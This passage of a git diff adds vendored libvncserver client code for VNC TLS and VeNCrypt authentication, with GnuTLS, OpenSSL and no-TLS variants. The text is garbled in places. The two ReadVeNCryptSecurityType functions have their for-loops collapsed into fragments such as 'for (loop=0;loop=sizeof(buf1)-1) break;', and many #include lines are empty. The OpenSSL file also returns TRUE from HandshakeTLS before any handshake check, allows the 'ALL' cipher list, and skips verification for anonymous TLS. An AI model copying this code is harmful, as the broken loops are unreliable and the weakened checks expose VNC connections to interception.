rfbClientLog("Warning: Failed to set TLS priority: %s (%s).\n", gnutls_strerror(ret), p); + } + + gnutls_transport_set_ptr((gnutls_session_t)client->tlsSession, (gnutls_transport_ptr_t)client); + gnutls_transport_set_push_function((gnutls_session_t)client->tlsSession, PushTLS); + gnutls_transport_set_pull_function((gnutls_session_t)client->tlsSession, PullTLS); + + rfbClientLog("TLS session initialized.\n"); + + return TRUE; +} + +static rfbBool +SetTLSAnonCredential(rfbClient* client) +{ + gnutls_anon_client_credentials_t anonCred; + int ret; + + if ((ret = gnutls_anon_allocate_client_credentials(&anonCred)) < 0 || + (ret = gnutls_credentials_set((gnutls_session_t)client->tlsSession, GNUTLS_CRD_ANON, anonCred)) < 0) + { + FreeTLS(client); + rfbClientLog("Failed to create anonymous credentials: %s", gnutls_strerror(ret)); + return FALSE; + } + rfbClientLog("TLS anonymous credential created.\n"); + return TRUE; +} + +static rfbBool +HandshakeTLS(rfbClient* client) +{ + int timeout = 15; + int ret; + + while (timeout > 0 && (ret = gnutls_handshake((gnutls_session_t)client->tlsSession)) < 0) + { + if (!gnutls_error_is_fatal(ret)) + { + rfbClientLog("TLS handshake blocking.\n"); + sleep(1); + timeout--; + continue; + } + rfbClientLog("TLS handshake failed: %s.\n", gnutls_strerror(ret)); + + FreeTLS(client); + return FALSE; + } + + if (timeout <= 0) + { + rfbClientLog("TLS handshake timeout.\n"); + FreeTLS(client); + return FALSE; + } + + rfbClientLog("TLS handshake done.\n"); + return TRUE; +} + +/* VeNCrypt sub auth. 1 byte auth count, followed by count * 4 byte integers */ +static rfbBool +ReadVeNCryptSecurityType(rfbClient* client, uint32_t *result) +{ + uint8_t count=0; + uint8_t loop=0; + uint8_t flag=0; + uint32_t tAuth[256], t; + char buf1[500],buf2[10]; + uint32_t authScheme; + + if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; + + if (count==0) + { + rfbClientLog("List of security types is ZERO. Giving up.\n"); + return FALSE; + } + + if (count>sizeof(tAuth)) + { + rfbClientLog("%d security types are too many; maximum is %d\n", count, sizeof(tAuth)); + return FALSE; + } + + rfbClientLog("We have %d security types to read\n", count); + authScheme=0; + /* now, we have a list of available security types to read ( uint8_t[] ) */ + for (loop=0;loop=sizeof(buf1)-1) break; + snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); + strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); + } + rfbClientLog("Unknown VeNCrypt authentication scheme from VNC server: %s\n", + buf1); + return FALSE; + } + *result = authScheme; + return TRUE; +} + +static void +FreeX509Credential(rfbCredential *cred) +{ + if (cred->x509Credential.x509CACertFile) free(cred->x509Credential.x509CACertFile); + if (cred->x509Credential.x509CACrlFile) free(cred->x509Credential.x509CACrlFile); + if (cred->x509Credential.x509ClientCertFile) free(cred->x509Credential.x509ClientCertFile); + if (cred->x509Credential.x509ClientKeyFile) free(cred->x509Credential.x509ClientKeyFile); + free(cred); +} + +static gnutls_certificate_credentials_t +CreateX509CertCredential(rfbCredential *cred) +{ + gnutls_certificate_credentials_t x509_cred; + int ret; + + if (!cred->x509Credential.x509CACertFile) + { + rfbClientLog("No CA certificate provided.\n"); + return NULL; + } + + if ((ret = gnutls_certificate_allocate_credentials(&x509_cred)) < 0) + { + rfbClientLog("Cannot allocate credentials: %s.\n", gnutls_strerror(ret)); + return NULL; + } + if ((ret = gnutls_certificate_set_x509_trust_file(x509_cred, + cred->x509Credential.x509CACertFile, GNUTLS_X509_FMT_PEM)) < 0) + { + rfbClientLog("Cannot load CA credentials: %s.\n", gnutls_strerror(ret)); + gnutls_certificate_free_credentials (x509_cred); + return NULL; + } + if (cred->x509Credential.x509ClientCertFile && cred->x509Credential.x509ClientKeyFile) + { + if ((ret = gnutls_certificate_set_x509_key_file(x509_cred, + cred->x509Credential.x509ClientCertFile, cred->x509Credential.x509ClientKeyFile, + GNUTLS_X509_FMT_PEM)) < 0) + { + rfbClientLog("Cannot load client certificate or key: %s.\n", gnutls_strerror(ret)); + gnutls_certificate_free_credentials (x509_cred); + return NULL; + } + } else + { + rfbClientLog("No client certificate or key provided.\n"); + } + if (cred->x509Credential.x509CACrlFile) + { + if ((ret = gnutls_certificate_set_x509_crl_file(x509_cred, + cred->x509Credential.x509CACrlFile, GNUTLS_X509_FMT_PEM)) < 0) + { + rfbClientLog("Cannot load CRL: %s.\n", gnutls_strerror(ret)); + gnutls_certificate_free_credentials (x509_cred); + return NULL; + } + } else + { + rfbClientLog("No CRL provided.\n"); + } + gnutls_certificate_set_dh_params (x509_cred, rfbDHParams); + return x509_cred; +} + + +rfbBool +HandleAnonTLSAuth(rfbClient* client) +{ + if (!InitializeTLS() || !InitializeTLSSession(client, TRUE)) return FALSE; + + if (!SetTLSAnonCredential(client)) return FALSE; + + if (!HandshakeTLS(client)) return FALSE; + + return TRUE; +} + +rfbBool +HandleVeNCryptAuth(rfbClient* client) +{ + uint8_t major, minor, status; + uint32_t authScheme; + rfbBool anonTLS; + gnutls_certificate_credentials_t x509_cred = NULL; + int ret; + + if (!InitializeTLS()) return FALSE; + + /* Read VeNCrypt version */ + if (!ReadFromRFBServer(client, (char *)&major, 1) || + !ReadFromRFBServer(client, (char *)&minor, 1)) + { + return FALSE; + } + rfbClientLog("Got VeNCrypt version %d.%d from server.\n", (int)major, (int)minor); + + if (major != 0 && minor != 2) + { + rfbClientLog("Unsupported VeNCrypt version.\n"); + return FALSE; + } + + if (!WriteToRFBServer(client, (char *)&major, 1) || + !WriteToRFBServer(client, (char *)&minor, 1) || + !ReadFromRFBServer(client, (char *)&status, 1)) + { + return FALSE; + } + + if (status != 0) + { + rfbClientLog("Server refused VeNCrypt version %d.%d.\n", (int)major, (int)minor); + return FALSE; + } + + if (!ReadVeNCryptSecurityType(client, &authScheme)) return FALSE; + if (!ReadFromRFBServer(client, (char *)&status, 1) || status != 1) + { + rfbClientLog("Server refused VeNCrypt authentication %d (%d).\n", authScheme, (int)status); + return FALSE; + } + client->subAuthScheme = authScheme; + + /* Some VeNCrypt security types are anonymous TLS, others are X509 */ + switch (authScheme) + { + case rfbVeNCryptTLSNone: + case rfbVeNCryptTLSVNC: + case rfbVeNCryptTLSPlain: +#ifdef LIBVNCSERVER_HAVE_SASL + case rfbVeNCryptTLSSASL: +#endif /* LIBVNCSERVER_HAVE_SASL */ + anonTLS = TRUE; + break; + default: + anonTLS = FALSE; + break; + } + + /* Get X509 Credentials if it's not anonymous */ + if (!anonTLS) + { + rfbCredential *cred; + + if (!client->GetCredential) + { + rfbClientLog("GetCredential callback is not set.\n"); + return FALSE; + } + cred = client->GetCredential(client, rfbCredentialTypeX509); + if (!cred) + { + rfbClientLog("Reading credential failed\n"); + return FALSE; + } + + x509_cred = CreateX509CertCredential(cred); + FreeX509Credential(cred); + if (!x509_cred) return FALSE; + } + + /* Start up the TLS session */ + if (!InitializeTLSSession(client, anonTLS)) return FALSE; + + if (anonTLS) + { + if (!SetTLSAnonCredential(client)) return FALSE; + } + else + { + /* Set the certificate verification callback. */ + gnutls_certificate_set_verify_function (x509_cred, verify_certificate_callback); + gnutls_session_set_ptr ((gnutls_session_t)client->tlsSession, (void *)client); + + if ((ret = gnutls_credentials_set((gnutls_session_t)client->tlsSession, GNUTLS_CRD_CERTIFICATE, x509_cred)) < 0) + { + rfbClientLog("Cannot set x509 credential: %s.\n", gnutls_strerror(ret)); + FreeTLS(client); + return FALSE; + } + } + + if (!HandshakeTLS(client)) return FALSE; + + /* We are done here. The caller should continue with client->subAuthScheme + * to do actual sub authentication. + */ + return TRUE; +} + +int +ReadFromTLS(rfbClient* client, char *out, unsigned int n) +{ + ssize_t ret; + + ret = gnutls_record_recv((gnutls_session_t)client->tlsSession, out, n); + if (ret >= 0) return ret; + if (ret == GNUTLS_E_REHANDSHAKE || ret == GNUTLS_E_AGAIN) + { + errno = EAGAIN; + } else + { + rfbClientLog("Error reading from TLS: %s.\n", gnutls_strerror(ret)); + errno = EINTR; + } + return -1; +} + +int +WriteToTLS(rfbClient* client, const char *buf, unsigned int n) +{ + unsigned int offset = 0; + ssize_t ret; + + if (client->LockWriteToTLS) + { + if (!client->LockWriteToTLS(client)) + { + rfbClientLog("Callback to get lock in WriteToTLS() failed\n"); + return -1; + } + } + while (offset < n) + { + ret = gnutls_record_send((gnutls_session_t)client->tlsSession, buf+offset, (size_t)(n-offset)); + if (ret == 0) continue; + if (ret < 0) + { + if (ret == GNUTLS_E_AGAIN || ret == GNUTLS_E_INTERRUPTED) continue; + rfbClientLog("Error writing to TLS: %s.\n", gnutls_strerror(ret)); + if (client->UnlockWriteToTLS) + { + if (!client->UnlockWriteToTLS(client)) + rfbClientLog("Callback to unlock WriteToTLS() failed\n"); + } + return -1; + } + offset += (unsigned int)ret; + } + if (client->UnlockWriteToTLS) + { + if (!client->UnlockWriteToTLS(client)) + { + rfbClientLog("Callback to unlock WriteToTLS() failed\n"); + return -1; + } + } + return offset; +} + +void FreeTLS(rfbClient* client) +{ + if (client->tlsSession) + { + gnutls_deinit((gnutls_session_t)client->tlsSession); + client->tlsSession = NULL; + } +} + +#ifdef LIBVNCSERVER_HAVE_SASL +int +GetTLSCipherBits(rfbClient* client) +{ + gnutls_cipher_algorithm_t cipher = gnutls_cipher_get((gnutls_session_t)client->tlsSession); + + return gnutls_cipher_get_key_size(cipher) * 8; +} +#endif /* LIBVNCSERVER_HAVE_SASL */ + diff --git a/3rdparty/libvncserver/libvncclient/tls_none.c b/3rdparty/libvncserver/libvncclient/tls_none.c new file mode 100644 index 0000000..d436ce9 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/tls_none.c @@ -0,0 +1,67 @@ +/* + * Copyright (C) 2012 Christian Beier. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#include +#include +#include "tls.h" + +rfbBool HandleAnonTLSAuth(rfbClient* client) +{ + rfbClientLog("TLS is not supported.\n"); + return FALSE; +} + + +rfbBool HandleVeNCryptAuth(rfbClient* client) +{ + rfbClientLog("TLS is not supported.\n"); + return FALSE; +} + + +int ReadFromTLS(rfbClient* client, char *out, unsigned int n) +{ + rfbClientLog("TLS is not supported.\n"); + errno = EINTR; + return -1; +} + + +int WriteToTLS(rfbClient* client, const char *buf, unsigned int n) +{ + rfbClientLog("TLS is not supported.\n"); + errno = EINTR; + return -1; +} + + +void FreeTLS(rfbClient* client) +{ + +} + +#ifdef LIBVNCSERVER_HAVE_SASL +int +GetTLSCipherBits(rfbClient* client) +{ + rfbClientLog("TLS is not supported.\n"); + return 0; +} +#endif /* LIBVNCSERVER_HAVE_SASL */ + diff --git a/3rdparty/libvncserver/libvncclient/tls_openssl.c b/3rdparty/libvncserver/libvncclient/tls_openssl.c new file mode 100644 index 0000000..e2fadb2 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/tls_openssl.c @@ -0,0 +1,699 @@ +/* + * Copyright (C) 2012 Philip Van Hoof + * Copyright (C) 2009 Vic Lee. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef _MSC_VER +#define _XOPEN_SOURCE 500 +#endif + +#include +#include + +#include +#include +#include +#include +#include + +#ifdef _MSC_VER +typedef CRITICAL_SECTION MUTEX_TYPE; +#define MUTEX_INIT(mutex) InitializeCriticalSection(&mutex) +#define MUTEX_FREE(mutex) DeleteCriticalSection(&mutex) +#define MUTEX_LOCK(mutex) EnterCriticalSection(&mutex) +#define MUTEX_UNLOCK(mutex) LeaveCriticalSection(&mutex) +#define CURRENT_THREAD_ID GetCurrentThreadId() +#else +typedef pthread_mutex_t MUTEX_TYPE; +#define MUTEX_INIT(mutex) {\ + pthread_mutexattr_t mutexAttr;\ + pthread_mutexattr_init(&mutexAttr);\ + pthread_mutexattr_settype(&mutexAttr, PTHREAD_MUTEX_RECURSIVE);\ + pthread_mutex_init(&mutex, &mutexAttr);\ +} +#define MUTEX_FREE(mutex) pthread_mutex_destroy(&mutex) +#define MUTEX_LOCK(mutex) pthread_mutex_lock(&mutex) +#define MUTEX_UNLOCK(mutex) pthread_mutex_unlock(&mutex) +#define CURRENT_THREAD_ID pthread_self() +#endif + +#ifndef _MSC_VER +#include +#endif + +#include "tls.h" + +#ifdef _MSC_VER +#include // That's for SSIZE_T +typedef SSIZE_T ssize_t; +#define snprintf _snprintf +#endif + +static rfbBool rfbTLSInitialized = FALSE; +static MUTEX_TYPE *mutex_buf = NULL; + +struct CRYPTO_dynlock_value { + MUTEX_TYPE mutex; +}; + +static void locking_function(int mode, int n, const char *file, int line) +{ + if (mode & CRYPTO_LOCK) + MUTEX_LOCK(mutex_buf[n]); + else + MUTEX_UNLOCK(mutex_buf[n]); +} + +static unsigned long id_function(void) +{ + return ((unsigned long) CURRENT_THREAD_ID); +} + +static struct CRYPTO_dynlock_value *dyn_create_function(const char *file, int line) +{ + struct CRYPTO_dynlock_value *value; + + value = (struct CRYPTO_dynlock_value *) + malloc(sizeof(struct CRYPTO_dynlock_value)); + if (!value) + goto err; + MUTEX_INIT(value->mutex); + + return value; + +err: + return (NULL); +} + +static void dyn_lock_function (int mode, struct CRYPTO_dynlock_value *l, const char *file, int line) +{ + if (mode & CRYPTO_LOCK) + MUTEX_LOCK(l->mutex); + else + MUTEX_UNLOCK(l->mutex); +} + + +static void +dyn_destroy_function(struct CRYPTO_dynlock_value *l, const char *file, int line) +{ + MUTEX_FREE(l->mutex); + free(l); +} + + +static int +ssl_errno (SSL *ssl, int ret) +{ + switch (SSL_get_error (ssl, ret)) { + case SSL_ERROR_NONE: + return 0; + case SSL_ERROR_ZERO_RETURN: + /* this one does not map well at all */ + //d(printf ("ssl_errno: SSL_ERROR_ZERO_RETURN\n")); + return EINVAL; + case SSL_ERROR_WANT_READ: /* non-fatal; retry */ + case SSL_ERROR_WANT_WRITE: /* non-fatal; retry */ + //d(printf ("ssl_errno: SSL_ERROR_WANT_[READ,WRITE]\n")); + return EAGAIN; + case SSL_ERROR_SYSCALL: + //d(printf ("ssl_errno: SSL_ERROR_SYSCALL\n")); + return EINTR; + case SSL_ERROR_SSL: + //d(printf ("ssl_errno: SSL_ERROR_SSL <-- very useful error...riiiiight\n")); + return EINTR; + default: + //d(printf ("ssl_errno: default error\n")); + return EINTR; + } +} + +static rfbBool +InitializeTLS(void) +{ + int i; + + if (rfbTLSInitialized) return TRUE; + + mutex_buf = malloc(CRYPTO_num_locks() * sizeof(MUTEX_TYPE)); + if (mutex_buf == NULL) { + rfbClientLog("Failed to initialized OpenSSL: memory.\n"); + return (-1); + } + + for (i = 0; i < CRYPTO_num_locks(); i++) + MUTEX_INIT(mutex_buf[i]); + + CRYPTO_set_locking_callback(locking_function); + CRYPTO_set_id_callback(id_function); + CRYPTO_set_dynlock_create_callback(dyn_create_function); + CRYPTO_set_dynlock_lock_callback(dyn_lock_function); + CRYPTO_set_dynlock_destroy_callback(dyn_destroy_function); + SSL_load_error_strings(); + SSLeay_add_ssl_algorithms(); + RAND_load_file("/dev/urandom", 1024); + + rfbClientLog("OpenSSL version %s initialized.\n", SSLeay_version(SSLEAY_VERSION)); + rfbTLSInitialized = TRUE; + return TRUE; +} + +static int sock_read_ready(SSL *ssl, uint32_t ms) +{ + int r = 0; + fd_set fds; + struct timeval tv; + + FD_ZERO(&fds); + + FD_SET(SSL_get_fd(ssl), &fds); + + tv.tv_sec = ms / 1000; + tv.tv_usec = (ms % 1000) * 1000; + + r = select (SSL_get_fd(ssl) + 1, &fds, NULL, NULL, &tv); + + return r; +} + +static int wait_for_data(SSL *ssl, int ret, int timeout) +{ + int err; + int retval = 1; + + err = SSL_get_error(ssl, ret); + + switch(err) + { + case SSL_ERROR_WANT_READ: + case SSL_ERROR_WANT_WRITE: + ret = sock_read_ready(ssl, timeout*1000); + + if (ret == -1) { + retval = 2; + } + + break; + default: + retval = 3; + long verify_res = SSL_get_verify_result(ssl); + if (verify_res != X509_V_OK) + rfbClientLog("Could not verify server certificate: %s.\n", + X509_verify_cert_error_string(verify_res)); + break; + } + + ERR_clear_error(); + + return retval; +} + +static rfbBool +load_crls_from_file(char *file, SSL_CTX *ssl_ctx) +{ + X509_STORE *st; + X509_CRL *crl; + int i; + int count = 0; + BIO *bio; + STACK_OF(X509_INFO) *xis = NULL; + X509_INFO *xi; + + st = SSL_CTX_get_cert_store(ssl_ctx); + + int rv = 0; + + bio = BIO_new_file(file, "r"); + if (bio == NULL) + return FALSE; + + xis = PEM_X509_INFO_read_bio(bio, NULL, NULL, NULL); + BIO_free(bio); + + for (i = 0; i < sk_X509_INFO_num(xis); i++) + { + xi = sk_X509_INFO_value(xis, i); + if (xi->crl) + { + X509_STORE_add_crl(st, xi->crl); + xi->crl = NULL; + count++; + } + } + + sk_X509_INFO_pop_free(xis, X509_INFO_free); + + if (count > 0) + return TRUE; + else + return FALSE; +} + +static SSL * +open_ssl_connection (rfbClient *client, int sockfd, rfbBool anonTLS, rfbCredential *cred) +{ + SSL_CTX *ssl_ctx = NULL; + SSL *ssl = NULL; + int n, finished = 0; + X509_VERIFY_PARAM *param; + uint8_t verify_crls = cred->x509Credential.x509CrlVerifyMode; + + if (!(ssl_ctx = SSL_CTX_new(SSLv23_client_method()))) + { + rfbClientLog("Could not create new SSL context.\n"); + return NULL; + } + + param = X509_VERIFY_PARAM_new(); + + /* Setup verification if not anonymous */ + if (!anonTLS) + { + if (cred->x509Credential.x509CACertFile) + { + if (!SSL_CTX_load_verify_locations(ssl_ctx, cred->x509Credential.x509CACertFile, NULL)) + { + rfbClientLog("Failed to load CA certificate from %s.\n", + cred->x509Credential.x509CACertFile); + goto error_free_ctx; + } + } else { + rfbClientLog("Using default paths for certificate verification.\n"); + SSL_CTX_set_default_verify_paths (ssl_ctx); + } + + if (cred->x509Credential.x509CACrlFile) + { + if (!load_crls_from_file(cred->x509Credential.x509CACrlFile, ssl_ctx)) + { + rfbClientLog("CRLs could not be loaded.\n"); + goto error_free_ctx; + } + if (verify_crls == rfbX509CrlVerifyNone) verify_crls = rfbX509CrlVerifyAll; + } + + if (cred->x509Credential.x509ClientCertFile && cred->x509Credential.x509ClientKeyFile) + { + if (SSL_CTX_use_certificate_chain_file(ssl_ctx, cred->x509Credential.x509ClientCertFile) != 1) + { + rfbClientLog("Client certificate could not be loaded.\n"); + goto error_free_ctx; + } + + if (SSL_CTX_use_PrivateKey_file(ssl_ctx, cred->x509Credential.x509ClientKeyFile, + SSL_FILETYPE_PEM) != 1) + { + rfbClientLog("Client private key could not be loaded.\n"); + goto error_free_ctx; + } + + if (SSL_CTX_check_private_key(ssl_ctx) == 0) { + rfbClientLog("Client certificate and private key do not match.\n"); + goto error_free_ctx; + } + } + + SSL_CTX_set_verify(ssl_ctx, SSL_VERIFY_PEER, NULL); + + if (verify_crls == rfbX509CrlVerifyClient) + X509_VERIFY_PARAM_set_flags(param, X509_V_FLAG_CRL_CHECK); + else if (verify_crls == rfbX509CrlVerifyAll) + X509_VERIFY_PARAM_set_flags(param, X509_V_FLAG_CRL_CHECK | X509_V_FLAG_CRL_CHECK_ALL); + + if(!X509_VERIFY_PARAM_set1_host(param, client->serverHost, strlen(client->serverHost))) + { + rfbClientLog("Could not set server name for verification.\n"); + goto error_free_ctx; + } + SSL_CTX_set1_param(ssl_ctx, param); + } + + if (!(ssl = SSL_new (ssl_ctx))) + { + rfbClientLog("Could not create a new SSL session.\n"); + goto error_free_ctx; + } + + /* TODO: finetune this list, take into account anonTLS bool */ + SSL_set_cipher_list(ssl, "ALL"); + + SSL_set_fd (ssl, sockfd); + SSL_CTX_set_app_data (ssl_ctx, client); + + do + { + n = SSL_connect(ssl); + + if (n != 1) + { + if (wait_for_data(ssl, n, 1) != 1) + { + finished = 1; + SSL_shutdown(ssl); + + goto error_free_ssl; + } + } + } while( n != 1 && finished != 1 ); + + X509_VERIFY_PARAM_free(param); + return ssl; + +error_free_ssl: + SSL_free(ssl); + +error_free_ctx: + X509_VERIFY_PARAM_free(param); + SSL_CTX_free(ssl_ctx); + + return NULL; +} + + +static rfbBool +InitializeTLSSession(rfbClient* client, rfbBool anonTLS, rfbCredential *cred) +{ + if (client->tlsSession) return TRUE; + + client->tlsSession = open_ssl_connection (client, client->sock, anonTLS, cred); + + if (!client->tlsSession) + return FALSE; + + rfbClientLog("TLS session initialized.\n"); + + return TRUE; +} + +static rfbBool +HandshakeTLS(rfbClient* client) +{ + int timeout = 15; + int ret; + +return TRUE; + + while (timeout > 0 && (ret = SSL_do_handshake(client->tlsSession)) < 0) + { + if (ret != -1) + { + rfbClientLog("TLS handshake blocking.\n"); +#ifdef WIN32 + Sleep(1000); +#else + sleep(1); +#endif + timeout--; + continue; + } + rfbClientLog("TLS handshake failed.\n"); + + FreeTLS(client); + return FALSE; + } + + if (timeout <= 0) + { + rfbClientLog("TLS handshake timeout.\n"); + FreeTLS(client); + return FALSE; + } + + rfbClientLog("TLS handshake done.\n"); + return TRUE; +} + +/* VeNCrypt sub auth. 1 byte auth count, followed by count * 4 byte integers */ +static rfbBool +ReadVeNCryptSecurityType(rfbClient* client, uint32_t *result) +{ + uint8_t count=0; + uint8_t loop=0; + uint8_t flag=0; + uint32_t tAuth[256], t; + char buf1[500],buf2[10]; + uint32_t authScheme; + + if (!ReadFromRFBServer(client, (char *)&count, 1)) return FALSE; + + if (count==0) + { + rfbClientLog("List of security types is ZERO. Giving up.\n"); + return FALSE; + } + + if (count>sizeof(tAuth)) + { + rfbClientLog("%d security types are too many; maximum is %d\n", count, sizeof(tAuth)); + return FALSE; + } + + rfbClientLog("We have %d security types to read\n", count); + authScheme=0; + /* now, we have a list of available security types to read ( uint8_t[] ) */ + for (loop=0;loop=sizeof(buf1)-1) break; + snprintf(buf2, sizeof(buf2), (loop>0 ? ", %d" : "%d"), (int)tAuth[loop]); + strncat(buf1, buf2, sizeof(buf1)-strlen(buf1)-1); + } + rfbClientLog("Unknown VeNCrypt authentication scheme from VNC server: %s\n", + buf1); + return FALSE; + } + *result = authScheme; + return TRUE; +} + +rfbBool +HandleAnonTLSAuth(rfbClient* client) +{ + if (!InitializeTLS() || !InitializeTLSSession(client, TRUE, NULL)) return FALSE; + + if (!HandshakeTLS(client)) return FALSE; + + return TRUE; +} + +static void +FreeX509Credential(rfbCredential *cred) +{ + if (cred->x509Credential.x509CACertFile) free(cred->x509Credential.x509CACertFile); + if (cred->x509Credential.x509CACrlFile) free(cred->x509Credential.x509CACrlFile); + if (cred->x509Credential.x509ClientCertFile) free(cred->x509Credential.x509ClientCertFile); + if (cred->x509Credential.x509ClientKeyFile) free(cred->x509Credential.x509ClientKeyFile); + free(cred); +} + +rfbBool +HandleVeNCryptAuth(rfbClient* client) +{ + uint8_t major, minor, status; + uint32_t authScheme; + rfbBool anonTLS; + rfbCredential *cred = NULL; + rfbBool result = TRUE; + + if (!InitializeTLS()) return FALSE; + + /* Read VeNCrypt version */ + if (!ReadFromRFBServer(client, (char *)&major, 1) || + !ReadFromRFBServer(client, (char *)&minor, 1)) + { + return FALSE; + } + rfbClientLog("Got VeNCrypt version %d.%d from server.\n", (int)major, (int)minor); + + if (major != 0 && minor != 2) + { + rfbClientLog("Unsupported VeNCrypt version.\n"); + return FALSE; + } + + if (!WriteToRFBServer(client, (char *)&major, 1) || + !WriteToRFBServer(client, (char *)&minor, 1) || + !ReadFromRFBServer(client, (char *)&status, 1)) + { + return FALSE; + } + + if (status != 0) + { + rfbClientLog("Server refused VeNCrypt version %d.%d.\n", (int)major, (int)minor); + return FALSE; + } + + if (!ReadVeNCryptSecurityType(client, &authScheme)) return FALSE; + if (!ReadFromRFBServer(client, (char *)&status, 1) || status != 1) + { + rfbClientLog("Server refused VeNCrypt authentication %d (%d).\n", authScheme, (int)status); + return FALSE; + } + client->subAuthScheme = authScheme; + + /* Some VeNCrypt security types are anonymous TLS, others are X509 */ + switch (authScheme) + { + case rfbVeNCryptTLSNone: + case rfbVeNCryptTLSVNC: + case rfbVeNCryptTLSPlain: +#ifdef LIBVNCSERVER_HAVE_SASL + case rfbVeNCryptTLSSASL: +#endif /* LIBVNCSERVER_HAVE_SASL */ + anonTLS = TRUE; + break; + default: + anonTLS = FALSE; + break; + } + + /* Get X509 Credentials if it's not anonymous */ + if (!anonTLS) + { + + if (!client->GetCredential) + { + rfbClientLog("GetCredential callback is not set.\n"); + return FALSE; + } + cred = client->GetCredential(client, rfbCredentialTypeX509); + if (!cred) + { + rfbClientLog("Reading credential failed\n"); + return FALSE; + } + } + + /* Start up the TLS session */ + if (!InitializeTLSSession(client, anonTLS, cred)) result = FALSE; + + if (!HandshakeTLS(client)) result = FALSE; + + /* We are done here. The caller should continue with client->subAuthScheme + * to do actual sub authentication. + */ + if (cred) FreeX509Credential(cred); + return result; +} + +int +ReadFromTLS(rfbClient* client, char *out, unsigned int n) +{ + ssize_t ret; + + ret = SSL_read (client->tlsSession, out, n); + + if (ret >= 0) + return ret; + else { + errno = ssl_errno (client->tlsSession, ret); + + if (errno != EAGAIN) { + rfbClientLog("Error reading from TLS: -.\n"); + } + } + + return -1; +} + +int +WriteToTLS(rfbClient* client, const char *buf, unsigned int n) +{ + unsigned int offset = 0; + ssize_t ret; + + while (offset < n) + { + + ret = SSL_write (client->tlsSession, buf + offset, (size_t)(n-offset)); + + if (ret < 0) + errno = ssl_errno (client->tlsSession, ret); + + if (ret == 0) continue; + if (ret < 0) + { + if (errno == EAGAIN || errno == EWOULDBLOCK) continue; + rfbClientLog("Error writing to TLS: -\n"); + return -1; + } + offset += (unsigned int)ret; + } + return offset; +} + +void FreeTLS(rfbClient* client) +{ + int i; + + if (mutex_buf != NULL) { + CRYPTO_set_dynlock_create_callback(NULL); + CRYPTO_set_dynlock_lock_callback(NULL); + CRYPTO_set_dynlock_destroy_callback(NULL); + + CRYPTO_set_locking_callback(NULL); + CRYPTO_set_id_callback(NULL); + + for (i = 0; i < CRYPTO_num_locks(); i++) + MUTEX_FREE(mutex_buf[i]); + free(mutex_buf); + mutex_buf = NULL; + } + + SSL_free(client->tlsSession); +} + +#ifdef LIBVNCSERVER_HAVE_SASL +int GetTLSCipherBits(rfbClient* client) +{ + SSL *ssl = (SSL *)(client->tlsSession); + + const SSL_CIPHER *cipher = SSL_get_current_cipher(ssl); + + return SSL_CIPHER_get_bits(cipher, NULL); +} +#endif /* LIBVNCSERVER_HAVE_SASL */ + diff --git a/3rdparty/libvncserver/libvncclient/trle.c b/3rdparty/libvncserver/libvncclient/trle.c new file mode 100644 index 0000000..b8d6e5c --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/trle.c @@ -0,0 +1,296 @@ +/* + * Copyright (C) 2017 Wiki Wang . All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * trle.c - handle trle encoding. + * + * This file shouldn't be compiled directly. It is included multiple times by + * rfbproto.c, each time with a different definition of the macro BPP. For + * each value of BPP, this file defines a function which handles a trle + * encoded rectangle with BPP bits per pixel. + */ + +#ifndef REALBPP +#define REALBPP BPP +#endif + +#if !defined(UNCOMP) || UNCOMP == 0 +#define HandleTRLE CONCAT2E(HandleTRLE, REALBPP) +#elif UNCOMP > 0 +#define HandleTRLE CONCAT3E(HandleTRLE, REALBPP, Down) +#else +#define HandleTRLE CONCAT3E(HandleTRLE, REALBPP, Up) +#endif +#define CARDBPP CONCAT3E(uint, BPP, _t) +#define CARDREALBPP CONCAT3E(uint, REALBPP, _t) + +#if REALBPP != BPP && defined(UNCOMP) && UNCOMP != 0 +#if UNCOMP > 0 +#define UncompressCPixel(pointer) ((*(CARDBPP *)pointer) >> UNCOMP) +#else +#define UncompressCPixel(pointer) ((*(CARDBPP *)pointer) << (-(UNCOMP))) +#endif +#else +#define UncompressCPixel(pointer) (*(CARDBPP *)pointer) +#endif + +static rfbBool HandleTRLE(rfbClient *client, int rx, int ry, int rw, int rh) { + int x, y, w, h; + uint8_t type, last_type; + int min_buffer_size = 16 * 16 * (REALBPP / 8) * 2; + uint8_t *buffer; + CARDBPP palette[128]; + int bpp, mask, divider; + CARDBPP color; + + /* First make sure we have a large enough raw buffer to hold the + * decompressed data. In practice, with a fixed REALBPP, fixed frame + * buffer size and the first update containing the entire frame + * buffer, this buffer allocation should only happen once, on the + * first update. + */ + if (client->raw_buffer_size < min_buffer_size) { + + if (client->raw_buffer != NULL) { + + free(client->raw_buffer); + } + + client->raw_buffer_size = min_buffer_size; + client->raw_buffer = (char *)malloc(client->raw_buffer_size); + 